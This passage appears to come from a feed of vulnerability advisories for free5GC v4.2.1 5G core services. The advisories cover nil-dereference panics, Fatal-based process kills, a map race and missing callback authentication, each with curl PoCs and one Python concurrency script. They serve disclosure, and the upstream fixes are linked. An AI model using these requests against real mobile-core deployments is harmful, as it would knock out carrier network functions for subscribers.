`NFs/udr/internal/sbi/api_datarepository.go:2161` - `NFs/udr/internal/sbi/api_datarepository.go:2172` - Panic root cause (nil deref): - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:62` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:64` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:69` ### PoC Reproduced end-to-end against the running UDR at `http://10.100.200.11:8000`. 1. Restart UDR (clean state): ``` docker restart udr ``` 2. Obtain a valid `nudr-dr` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr' ``` 3. Create one EE subscription to populate `UESubsCollection` for `ueId=x`: ``` curl -i -sS -X POST \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/context-data/ee-subscriptions' \ -H 'Authorization: Bearer <valid_nudr_dr_jwt>' \ -H 'Content-Type: application/json' \ --data '{}' ``` ``` HTTP/1.1 201 Created ``` 4. Trigger the panic with a nonexistent `subsId`: ``` curl -i -sS -X DELETE \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \ -H 'Authorization: Bearer <valid_nudr_dr_jwt>' ``` ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` 5. UDR container logs (`docker logs udr`) confirm the nil-pointer panic at `event_amf_subscription_info_document.go:69` inside `RemoveAmfSubscriptionsInfoProcedure`: ``` [ERRO][UDR][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure .../event_amf_subscription_info_document.go:69 github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo .../api_datarepository.go:2172 [INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions | ``` ### Impact NULL pointer dereference (CWE-476) in an authenticated UDR data-repository handler, caused by improper handling of the missing-subsId branch (CWE-754): the handler sets a problem-details value but does not return, then dereferences the same missing map entry. This is NOT framed as an auth-bypass finding: the endpoint requires a valid `nudr-dr` OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, repeatable nil-deref panic on the `amf-subscriptions` delete route after one preparatory POST that allocates UE state for the chosen `ueId`. - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended `404 SUBSCRIPTION_NOT_FOUND` response would have. No Confidentiality impact (the response is `500` with empty body; no UE data is returned to the attacker via the panic). No persistent Integrity impact from the panic itself (the EE subscription created during the precondition is in-memory state owned by UDR's intended data-repository semantics, and is not corrupted by the delete-time panic). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running). Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/919 Upstream fix: https://github.com/free5gc/udr/pull/60
- risk 0.38cvss —epss —
### Summary free5GC's NEF `PATCH /3gpp-pfd-management/v1/{afId}/transactions/{transId}/applications/{appId}` handler panics with a nil-pointer dereference when the upstream UDR call fails AND the consumer wrapper returns `err != nil` together with a nil `*ProblemDetails`. The handler's `errPfdData != nil` branch builds its own `problemDetailsErr` correctly, but immediately after it reads `problemDetails.Cause` (the OTHER value, which is nil in this branch) and panics. Gin recovery converts the panic into `HTTP 500`, so a single PATCH against this endpoint returns 500 instead of the intended controlled error response whenever UDR access is failing. This is a second-order bug: the trigger requires UDR access to be failing (e.g. NRF or UDR is unreachable, registration broken, transient network failure). The attacker does not directly control that condition, so this is scored as AC:H. Once the upstream condition exists, the trigger is a single PATCH request and is repeatable. The HTTP request itself in v4.2.1 is reachable without an `Authorization` header because the underlying NEF `3gpp-pfd-management` route group is mounted without inbound auth middleware (see free5gc/free5gc#858). So in the validation lab the entire trigger chain is unauthenticated end-to-end. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.1` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-21 (container log timestamp `2026-03-21T03:06:36Z`) - NEF endpoint: `http://10.100.200.19:8000` Vulnerable handler logic in `PatchIndividualApplicationPFDManagement` (paraphrased): ```go pdfData, problemDetails, errPfdData := p.Consumer().AppDataPfdsAppIdGet(appID) switch { case problemDetails != nil: ... case errPfdData != nil: problemDetailsErr := &models.ProblemDetails{ Status: http.StatusInternalServerError, Detail: "Query to UDR failed", } c.Set(sbi.IN_PB_DETAILS_CTX_STR, problemDetails.Cause) // <-- nil deref c.JSON(int(problemDetailsErr.Status), problemDetailsErr) return } ``` In the `errPfdData != nil` branch, `problemDetails` is by construction nil (otherwise the first `case` would have matched). Reading `problemDetails.Cause` panics with `runtime error: invalid memory address or nil pointer dereference`. The intended value is presumably `problemDetailsErr.Cause` -- the locally constructed problem-details struct. Code evidence (paths in `free5gc/nef`): - Patch handler core path: - `NFs/nef/internal/sbi/processor/pfd.go:563` - `NFs/nef/internal/sbi/processor/pfd.go:610` - Panic site (nil-deref on `problemDetails.Cause`): - `NFs/nef/internal/sbi/processor/pfd.go:622` - Route exposure / dispatch: - `NFs/nef/internal/sbi/api_pfd.go:168` - `NFs/nef/internal/sbi/api_pfd.go:188` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000`. The trigger requires UDR access to be failing -- the lab simulates this by stopping NRF (so NEF's UDR client fails to discover/dial UDR). In production, equivalent triggers include NRF outages, UDR outages, or transient network failures. 1. Create an AF context (no Authorization header): ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afnpd3/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-npd3","anyUeInd":true}' ``` 2. Create a PFD-management transaction: ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"appnpd3":{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any"]}}}}}' ``` 3. Make UDR access fail (lab simulation): ``` docker stop nrf ``` 4. Trigger the panic with one PATCH: ``` curl -i -X PATCH 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3' \ -H 'Content-Type: application/json' \ --data '{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":[]}}}' ``` ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` 5. NEF container logs (`docker logs --since 2026-03-21T03:06:36Z nef`) confirm the nil-deref panic at `pfd.go:622` inside `PatchIndividualApplicationPFDManagement`: ``` [INFO][NEF][PFDMng] PatchIndividualApplicationPFDManagement - scsAsID[afnpd3], transID[1], appID[appnpd3] [ERRO][NEF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/nef/internal/sbi/processor.(*Processor).PatchIndividualApplicationPFDManagement .../pfd.go:622 github.com/free5gc/nef/internal/sbi.(*Server).apiPatchIndividualApplicationPFDManagement .../api_pfd.go:188 [INFO][NEF][GIN] | 500 | PATCH | /3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3 | ``` 6. Restore for further testing: ``` docker start nrf ``` ### Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the `errPfdData != nil` branch reads `problemDetails.Cause` even though `problemDetails` is nil by construction in that branch (the prior `case` already matched the non-nil case). The intended target was the locally constructed `problemDetailsErr.Cause`. Gin recovery catches the panic, so the NEF process is NOT killed and other endpoints continue serving. The realized impact is per-request: PATCH against this endpoint returns `500` (with empty body and a stack trace in NEF logs) instead of the intended controlled UDR-failure response, whenever upstream UDR access is failing. No Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation and only fires while UDR access is independently broken; the attacker does not directly control that precondition, so AC:H is the honest assessment. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/925 Upstream fix: https://github.com/free5gc/nef/pull/22
- risk 0.38cvss —epss —
### Summary free5GC's SMF mounts the `UPI` management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The `POST /upi/v1/upNodesLinks` create-or-update handler accepts attacker-controlled JSON and passes it directly into `UpNodesFromConfiguration()`, which calls `logger.InitLog.Fatalf(...)` on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (`docker ps` shows `Exited (1)`), not just the goroutine. This is a stronger sink than free5gc/free5gc#905: that one panics inside the request goroutine and Gin recovers; this one calls `Fatalf` which is `os.Exit(1)`-equivalent and kills the whole SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy lookups, etc.) until the process is restarted. ### Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/smf:v4.2.1` - Runtime SMF commit: `8385c00a` - Docker validation date: 2026-03-22 local (container log timestamp `2026-03-21T23:47:07Z`) - SMF endpoint: `http://10.100.200.6:8000` The broader `UPI` auth gap (#887) lets the unauthenticated POST reach the create/update handler. From there: Vulnerable handler dispatches into topology parsing: ``` POST /upi/v1/upNodesLinks -> UpNodesFromConfiguration() -> isOverlap(allUEIPPools) -> logger.InitLog.Fatalf("overlap cidr value between UPFs") ``` Code evidence (paths in `free5gc/smf`): - UPI group mounted WITHOUT auth middleware (preconditions for unauthenticated reachability): - `NFs/smf/internal/sbi/server.go:76` - `NFs/smf/internal/sbi/server.go:78` - Create-or-update handler accepts attacker JSON and forwards it to `UpNodesFromConfiguration()`: - `NFs/smf/internal/sbi/api_upi.go:60` - `NFs/smf/internal/sbi/api_upi.go:72` - Pool parsing (input from attacker JSON): - `NFs/smf/internal/context/user_plane_information.go:413` - Overlap check that calls `Fatalf`: - `NFs/smf/internal/context/user_plane_information.go:479` The same unauthenticated POST path also reaches sibling `Fatalf` calls for invalid-pool and static-pool-exclusion failures, so this is not a one-off code smell -- it is a class of attacker-reachable `Fatalf` call sites on a single unauthenticated handler: - `NFs/smf/internal/context/user_plane_information.go:416` - `NFs/smf/internal/context/user_plane_information.go:424` - `NFs/smf/internal/context/user_plane_information.go:430` ### PoC Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`. 1. Trigger: unauthenticated POST that adds a UPF with a UE pool overlapping the default UPF (`10.60.0.0/16`): ``` curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}' ``` Client-side observation (server died mid-request, no HTTP response written): ``` curl: (52) Empty reply from server ``` 2. Confirm the SMF container exited: ``` docker ps -a --filter name=smf --format '{{.Names}}\t{{.Status}}' ``` ``` smf Exited (1) 9 seconds ago ``` 3. SMF container logs (`docker logs --tail 80 smf`) show the `FATA` line that terminated the process: ``` [FATA][SMF][Init] overlap cidr value between UPFs ``` ### Impact Unauthenticated process-kill DoS on the SMF management plane. 1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `UPI` route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance `nsmf-oam` returning `401` (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI. 2. Reachable assertion / fail-fast (CWE-617): topology parsing calls `logger.InitLog.Fatalf(...)` on attacker-influenced validation failures. `Fatalf` is `os.Exit(1)`-equivalent -- it skips Gin's recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level. Any party that can reach SMF on the SBI can: - Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted. - Repeat the trigger after every restart to sustain the outage. - Use sibling `Fatalf` paths (invalid-pool, static-pool exclusion) to sustain the same DoS even if the overlap check is hardened in isolation, because the underlying defect is using `Fatalf` for request-time validation on an unauthenticated handler. No Confidentiality impact (the crash returns no data to the attacker). No persistent Integrity impact (the topology updates are in-memory and are lost when SMF dies). The whole impact concentrates in Availability: complete loss of SMF service via a single unauthenticated request. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/906 Upstream fix: https://github.com/free5gc/smf/pull/203
- risk 0.45cvss —epss —
### Summary free5GC's NEF mounts the `nnef-callback` route group without inbound OAuth2/bearer-token authorization. A forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`) is enough to reach the SMF-callback handler -- the callback body is parsed and dispatched into NEF business logic instead of being rejected at the auth boundary. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. NEF does not authenticate the producer NF identity before processing callback content; if an attacker can guess or obtain a valid `NotifId`, this missing auth boundary lets forged callbacks act on real subscription state. The route group is also reachable even when the runtime `ServiceList` does not declare it (it lists only `nnef-pfdmanagement` and `nnef-oam`). ### Details Validated against the NEF container in the official Docker compose lab. - Running Docker image: `free5gc/nef:v4.2.1` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, yet the `nnef-callback` route group is mounted with no inbound auth middleware. The API layer reads the raw request body and deserializes it before any auth check, then the processor looks up subscription state by `NotifId`. Code evidence (paths in `free5gc/nef`): - Callback route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:64` - Callback route exposed at `/notification/smf`: `NFs/nef/internal/sbi/api_callback.go:13` - API layer reads raw request bytes and deserializes them before any auth check: `NFs/nef/internal/sbi/api_callback.go:23` - Processor looks up the subscription by `NotifId`: `NFs/nef/internal/sbi/processor/callback.go:13` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` - Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126` ### PoC Reproduced against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token. Send a forged callback request: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"notifId":"forged-notif","eventNotifs":[]}' \ http://10.100.200.19:8000/nnef-callback/v1/notification/smf ``` Observed output: ``` HTTP/1.1 404 Not Found {"title":"Data not found","status":404,"detail":"Subscription is not found"} ``` The `404` is positive auth-bypass evidence: the request was parsed and dispatched into the callback business handler instead of being rejected at the auth boundary. NEF container logs (`docker logs nef`) confirm the callback handler was reached: ``` [INFO][NEF][TraffInfl] SmfNotification - NotifId[forged-notif] [INFO][NEF][GIN] | 404 | POST | /nnef-callback/v1/notification/smf ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the NEF `nnef-callback` SBI route group. This is the trusted ingestion point for SMF -> NEF notifications. The defect is route-group-scoped: there is no auth middleware on the group at all, so every callback endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's intended capability surface (consume SMF notifications and mutate NEF / downstream subscription state), NOT against the specific PoC where the chosen `NotifId` happened to be invalid. Any party that can reach NEF on the SBI can: - Submit forged SMF callbacks to NEF anonymously, with body content fully controlled by the attacker. - Reach NEF callback business logic without proving producer NF identity, so any attacker who can guess or obtain a valid `NotifId` can deliver forged event notifications against real subscription state -- corrupting AF traffic-influence / PFD-management subscription views and the downstream SMF/UPF policy decisions that depend on them. - Hit any future callback added behind this same route group anonymously, because the auth boundary does not exist for this group. The `nnef-callback` route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/860 Upstream fix: https://github.com/free5gc/nef/pull/24
- risk 0.38cvss —epss —
### Summary free5GC's NEF terminates the entire process when a stored PFD-subscription `notifyUri` cannot be reached. In `PfdChangeNotifier.FlushNotifications()`, the notifier calls `NnefPFDmanagementNotify(...)` and on any delivery error invokes `logger.PFDManageLog.Fatal(err)`, which is `os.Exit(1)`-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen `notifyUri` and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status `1`, dropping NEF's entire SBI surface until restart. This is materially worse than a per-request panic-DoS (Gin recovery does not catch `Fatal`). The trigger uses three POSTs that are reachable without an `Authorization` header in v4.2.1, because the underlying NEF SBI route groups themselves are mounted without inbound auth middleware (see free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the lab the entire chain is unauthenticated end-to-end. This advisory is scoped to the `Fatal`-on-delivery-failure code defect; the auth-bypass primitives are tracked separately in the upstream issues above. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.1` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-20 (container log timestamp `2026-03-20T16:00:03Z`) - NEF endpoint: `http://10.100.200.19:8000` Vulnerable notifier path: ```go _, err := nc.notifier.clientPfdManagement.PFDSubscriptionsApi.NnefPFDmanagementNotify( context.TODO(), nc.notifier.getSubURI(id), notifyReq) if err != nil { logger.PFDManageLog.Fatal(err) // <-- os.Exit(1)-equivalent } ``` The failing branch is reached whenever NEF's outbound POST to the subscriber's `notifyUri` returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns `201 Created` and only then does NEF die. Code evidence (paths in `free5gc/nef`): - Notifier dispatch: - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:135` - Fatal call site (process exit): - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:142` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` -- three unauthenticated POSTs, the third one indirectly triggers async notify -> Fatal -> process exit. 1. Create an AF context (no Authorization header): ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-dos","anyUeInd":true}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1 ``` 2. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally): ``` curl -i -X POST 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-nef-dos"],"notifyUri":"http://127.0.0.1:1/notify"}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1 ``` 3. Trigger a PFD change so NEF tries to deliver a notification to the bad URI: ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-nef-dos":{"externalAppId":"app-nef-dos","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any","permit out ip from any to 10.68.28.39 80"]}}}}}' ``` The PFD POST itself returns `201`, but immediately afterward NEF exits. 4. Confirm the NEF container is dead (`exited`, `exit=1`): ``` docker inspect nef --format 'status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}' ``` ``` status=exited restart=0 exit=1 ``` 5. NEF container logs (`docker logs --since 2026-03-20T16:00:03Z nef`) show the `[FATA]` line that terminated the process: ``` [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos] [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions | [FATA][NEF][PFDMng] Post "http://127.0.0.1:1/notify": dial tcp 127.0.0.1:1: connect: connection refused ``` ### Impact Reachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied `notifyUri`. `logger.Fatal` is `os.Exit(1)`-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates. In v4.2.1, the trigger chain is reachable without an `Authorization` header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can: - Submit the three-step trigger anonymously and immediately terminate the NEF process. - Repeat the trigger after every restart to sustain the outage. - Pick any unreachable `notifyUri` (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same `Fatal`, so partial fixes that block one URI do not close the family. No Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/924 Upstream fix: https://github.com/free5gc/nef/pull/25
- risk 0.19cvss —epss —
### Summary free5GC's BSF `PUT /nbsf-management/v1/subscriptions/{subId}` handler has an unsynchronized write on the global `Subscriptions` map. The handler first reads the map under `RLock()` via `BSFContext.GetSubscription(subId)`, but if the subscription does not exist, `ReplaceIndividualSubcription()` writes back to the same map directly without taking the mutex (`bsfContext.BsfSelf.Subscriptions[subId] = subscription`). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with `fatal error: concurrent map read and map write` (Go runtime panics that come from concurrent map access bypass `recover()` and terminate the process). The BSF container exits with code `2` -- the entire BSF SBI surface goes down until restart. This endpoint requires a valid `nbsf-management` OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated process-kill DoS. ### Details Validated against the BSF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/bsf:v4.2.1` - Docker validation date: 2026-03-22 - BSF endpoint: `http://10.100.200.11:8000` Read side (locked): ```go func (c *BSFContext) GetSubscription(subId string) (*BsfSubscription, bool) { c.mutex.RLock() defer c.mutex.RUnlock() sub, exists := c.Subscriptions[subId] return sub, exists } ``` Unsafe write side in the create-if-absent branch of `ReplaceIndividualSubcription` (no `Lock()`): ```go subscription.SubId = subId bsfContext.BsfSelf.Subscriptions[subId] = subscription ``` Under concurrent traffic, the Go runtime detects the unsynchronized read/write on `c.Subscriptions` and aborts the process. Go's `concurrent map read and map write` fatal is NOT a normal panic -- it is unrecoverable, Gin's recovery middleware does not catch it, and the BSF process terminates. Code evidence (paths in `free5gc/bsf`): - Read side (locked): - `NFs/bsf/internal/sbi/processor/subscriptions.go:81` - `NFs/bsf/internal/context/context.go:726` - `NFs/bsf/internal/context/context.go:730` - Unsafe write side (the create-if-absent branch in PUT, no lock): - `NFs/bsf/internal/sbi/processor/subscriptions.go:111` - `NFs/bsf/internal/sbi/processor/subscriptions.go:114` The normal locked helpers (`CreateSubscription()`, `GetSubscription()`, `UpdateSubscription()`, `DeleteSubscription()`) DO take the mutex correctly. The bug is specific to the inline write inside the PUT create-if-absent branch. ### PoC Reproduced end-to-end against the running BSF at `http://10.100.200.11:8000`. 1. Obtain a valid `nbsf-management` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=BSF&scope=nbsf-management' ``` 2. Send concurrent PUT requests against fresh `subId` values (the validated lab uses 64 worker threads x 50 fresh subIds = 3200 concurrent PUTs): ```python import json, threading, urllib.request TOKEN = "<valid_nbsf_management_jwt>" BASE = "http://10.100.200.11:8000/nbsf-management/v1" PAYLOAD = json.dumps({ "events": ["PCF_BINDING_CREATION"], "notifUri": "http://127.0.0.1/cb", "notifCorreId": "1", "supi": "imsi-208930000000003", }).encode() def send_put(i, n): url = f"{BASE}/subscriptions/race-mix-{i}-{n}" req = urllib.request.Request(url, data=PAYLOAD, method="PUT") req.add_header("Authorization", f"Bearer {TOKEN}") req.add_header("Content-Type", "application/json") urllib.request.urlopen(req, timeout=2).read() threads = [] for i in range(64): for n in range(50): threads.append(threading.Thread(target=send_put, args=(i, n))) for t in threads: t.start() for t in threads: t.join() ``` 3. BSF container logs (`docker logs bsf`) show the Go runtime fatal that terminated the process: ``` [INFO][BSF][Proc] Handle ReplaceIndividualSubcription fatal error: concurrent map read and map write github.com/free5gc/bsf/internal/sbi/processor.ReplaceIndividualSubcription(0xc000514300) github.com/free5gc/bsf/internal/sbi/processor/subscriptions.go:81 +0x15f ``` 4. Container state confirms exit code 2: ``` exited|2|0 ``` ### Impact Unsynchronized concurrent access (CWE-362) to a shared map (`BsfSelf.Subscriptions`), combined with missing synchronization on the create-if-absent branch (CWE-820). Go's runtime detects concurrent map read/write and terminates the process via a non-recoverable fatal error -- Gin's `recover()` middleware does NOT catch this class of fatal, unlike ordinary nil-deref panics. The whole BSF process exits, dropping BSF's `nbsf-management` SBI surface (PCF binding lookups for SMF, AF -> PCF binding discovery, etc.) until restart. Any party that holds (or can obtain) a valid `nbsf-management` token can: - Drive the create-if-absent code path at high concurrency by PUTting a stream of fresh `subId` values, deterministically tripping the runtime fatal and killing the BSF process. - Repeat the trigger after every restart to sustain the outage. No Confidentiality impact (the crash returns no attacker-readable data). No persistent Integrity impact (BSF subscription state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of BSF service via concurrent attacker traffic on a single endpoint. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/926 Upstream fix: https://github.com/free5gc/bsf/pull/7
- risk 0.19cvss —epss —
### Summary free5GC's PCF `POST /npcf-policyauthorization/v1/app-sessions` handler panics on a single authenticated request whose `ascReqData.suppFeat == "1"` (enabling traffic-routing feature negotiation) and whose `medComponents` entries supply an `afAppId` but NO `AfRoutReq`. The create path then calls `provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, ...)` with `routeReq == nil` and dereferences `routeReq.RouteToLocs` (and other fields) without a nil check, causing `runtime error: invalid memory address or nil pointer dereference`. Gin recovery converts the panic into `HTTP 500`. The trigger is a single valid authenticated request -- changing only `suppFeat` from `"0"` to `"1"` flips the same shape of POST from a normal `201 Created` into a panic-driven `500`. This endpoint requires a valid `npcf-policyauthorization` OAuth2 access token (PR:L). The PCF process is not killed (Gin recovers); the realized impact is per-request panic-DoS on the app-session create path. ### Details Validated against the PCF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - PCF endpoint: `http://10.100.200.9:8000` - Validation date: 2026-03-12 Vulnerable handler path: ``` postAppSessCtxProcedure -> medComponents loop -> appID := medComp.AfAppId routeReq := medComp.AfRoutReq // nil when AfRoutReq absent provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, medComp.FStatus) ``` In `provisioningOfTrafficRoutingInfo`, `routeReq.RouteToLocs`, `routeReq.UpPathChgSub`, and `routeReq.AppReloc` are dereferenced directly without a nil check. When `suppFeat` is `"0"` the traffic-routing branch is not entered and the same input shape returns `201 Created`; when `suppFeat` is `"1"` the branch is entered and the nil-deref fires. Code evidence (paths in `free5gc/pcf`): - Affected route + dispatch: `NFs/pcf/internal/sbi/api_policyauthorization.go` - Create handler path: `NFs/pcf/internal/sbi/processor/policyauthorization.go` - Call site that passes nil `routeReq` into the traffic-routing helper: `NFs/pcf/internal/sbi/processor/policyauthorization.go` - Panic site (nil deref of `routeReq.*` fields): `NFs/pcf/internal/sbi/processor/policyauthorization.go:1740` ### PoC Reproduced end-to-end against the running PCF at `http://10.100.200.9:8000`. 1. Obtain a valid `npcf-policyauthorization` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=b84c4f0a-6010-4972-8480-e44e625b9ee4&targetNfType=PCF&scope=npcf-policyauthorization' ``` 2. Trigger the panic with a single valid authenticated POST whose `ascReqData.suppFeat == "1"`, `medComponents` supplies `afAppId`, and `AfRoutReq` is absent: ``` curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <valid_npcf_policyauthorization_jwt>' \ --data '{"ascReqData":{"suppFeat":"1","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' ``` ``` HTTP/1.1 500 Internal Server Error ``` 3. Control comparison -- same request shape but `suppFeat="0"` -> normal `201 Created`: ``` curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <valid_npcf_policyauthorization_jwt>' \ --data '{"ascReqData":{"suppFeat":"0","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' ``` ``` HTTP/1.1 201 Created ``` 4. PCF container logs show the panic stack landing in `provisioningOfTrafficRoutingInfo` with `routeReq = 0x0`: ``` [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference 